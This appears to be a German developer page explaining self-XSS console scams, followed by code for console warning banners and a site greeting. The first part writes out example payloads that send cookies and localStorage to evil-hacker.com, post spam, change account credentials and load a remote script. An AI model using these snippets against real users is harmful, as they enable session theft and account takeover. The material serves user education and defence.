Console Security & Self-XSS

// Angeblich: "Aktiviert Premium Features"
// Tatsächlich: Stiehlt deine Session

// Liest alle Cookies aus
const cookies = document.cookie;

// Liest LocalStorage aus (könnte Tokens enthalten)
const storage = JSON.stringify(localStorage);

// Schickt alles an Angreifer
fetch('https://evil-hacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        cookies: cookies,
        storage: storage,
        url: window.location.href,
        userAgent: navigator.userAgent
    })
});

// Zeigt Fake-Bestätigung
alert('Premium Features aktiviert! ✓');

// Angeblich: "Follower-Bot"
// Tatsächlich: Postet Spam in deinem Namen

// Holt CSRF-Token (wenn vorhanden)
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;

// Postet Spam-Nachricht
fetch('/api/post', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': csrfToken
    },
    body: JSON.stringify({
        message: '🚨 GRATIS iPhone 15! Klick hier: https://scam-site.com 🚨',
        visibility: 'public'
    })
});

// Sendet Nachrichten an alle Freunde
// ... mehr bösartiger Code ...

// Angeblich: "Fixt Security-Bug"
// Tatsächlich: Ändert dein Passwort/E-Mail

fetch('/api/account/update', {
    method: 'POST',
    body: JSON.stringify({
        email: 'hacker@evil.com',
        password: 'HackerPassword123',
        notifications: false  // Damit du keine Warnung bekommst
    })
});

alert('✓ Sicherheitslücke geschlossen!');

// Angeblich: "Developer Mode"
// Tatsächlich: Installiert persistenten Schadcode

// Erstellt verstecktes Script-Element
const script = document.createElement('script');
script.src = 'https://evil-cdn.com/malware.js';
document.head.appendChild(script);

// Speichert Schadcode in LocalStorage
localStorage.setItem('devMode', btoa('malicious code here'));

// Lädt bei jedem Seitenaufruf nach
setInterval(() => {
    fetch('https://evil.com/track?user=' + document.cookie);
}, 5000);

console.log('✓ Developer Mode aktiviert!');

// Console Security Warning
console.log(
    '%c⚠️ STOP!',
    'color: red; font-size: 30px; font-weight: bold;'
);

console.log(
    '%cWenn dich jemand gebeten hat, hier Code einzufügen, ist das ein Betrugsversuch!',
    'color: red; font-size: 14px; font-weight: bold;'
);

console.log(
    '%cDas Einfügen von Code kann Angreifern Zugriff auf deinen Account geben.',
    'color: orange; font-size: 12px;'
);

console.log(
    '%cMehr Infos: https://de.wikipedia.org/wiki/Self-XSS',
    'color: #999; font-size: 11px;'
);

// Console Security Warning (nur einmal pro Session)
if (!sessionStorage.getItem('consoleWarningShown')) {
    console.log(
        '%c⚠️ STOP!',
        'color: red; font-size: 30px; font-weight: bold;'
    );
    
    console.log(
        '%cWenn dich jemand gebeten hat, hier Code einzufügen, ist das ein Betrugsversuch!',
        'color: red; font-size: 14px; font-weight: bold;'
    );
    
    console.log(
        '%cDas Einfügen von Code kann Angreifern Zugriff auf deinen Account geben.',
        'color: orange; font-size: 12px;'
    );
    
    console.log(
        '%cMehr Infos: https://de.wikipedia.org/wiki/Self-XSS',
        'color: #999; font-size: 11px;'
    );
    
    // Markiere dass Warnung gezeigt wurde
    sessionStorage.setItem('consoleWarningShown', 'true');
    
    console.log('\n'); // Leerzeile für Abstand
}

// Hier kommt dein normaler Code / Begrüßung
console.log('Willkommen bei MeineWebsite.com! 👋');

// Facebook-inspirierte Console-Warnung
(function() {
    // ASCII Art Warnung
    console.log(`%c
    ███████╗████████╗ ██████╗ ██████╗ 
    ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗
    ███████╗   ██║   ██║   ██║██████╔╝
    ╚════██║   ██║   ██║   ██║██╔═══╝ 
    ███████║   ██║   ╚██████╔╝██║     
    ╚══════╝   ╚═╝    ╚═════╝ ╚═╝     
    `, 'color: red; font-weight: bold;');
    
    console.log('%cDies ist eine Browser-Funktion für Entwickler.', 
        'font-size: 18px; font-weight: bold;');
    
    console.log('%cWenn dich jemand gebeten hat, etwas hier einzufügen ' +
                'oder einzufügen, um eine Funktion zu "aktivieren", ' +
                'handelt es sich um einen Betrug, der Angreifern ' +
                'Zugriff auf deinen Account verschafft.',
        'font-size: 14px;');
    
    console.log('%cWeitere Informationen findest du unter: ' +
                'https://de.wikipedia.org/wiki/Self-XSS',
        'font-size: 12px; color: #999;');
})();

// === SICHERHEITSWARNUNG (Immer zuerst!) ===
console.log('%c⚠️ Console-Warnung', 
    'color: #ff6b6b; font-size: 18px; font-weight: bold;');
console.log('%cFalls dich jemand gebeten hat, Code hier einzufügen: DON\'T! ' +
            'Das könnte ein Betrugsversuch sein.',
    'color: #f06595; font-size: 13px;');
console.log('%cMehr Infos: https://de.wikipedia.org/wiki/Self-XSS',
    'color: #999; font-size: 11px;');

console.log('\n'); // Leerzeile

// === BEGRÜßUNG ===
console.log(`
    ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄
    █  ░░  DevPanicZone        ░░  █
    █  ░░  Code | Debug | Win  ░░  █
    ▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀

         ⚡ Don't Panic. Cheat. ⚡
`);

console.log('%cHey! Schön, dass du hier bist! 👋', 
    'color: #4ecdc4; font-size: 14px; font-weight: bold;');
console.log('%c💡 Du siehst: Sauberer Code, responsive Design, made with ☕', 
    'color: #95e1d3; font-size: 12px;');
console.log('%c📫 hello@devpaniczone.de', 
    'color: #f38181; font-size: 11px;');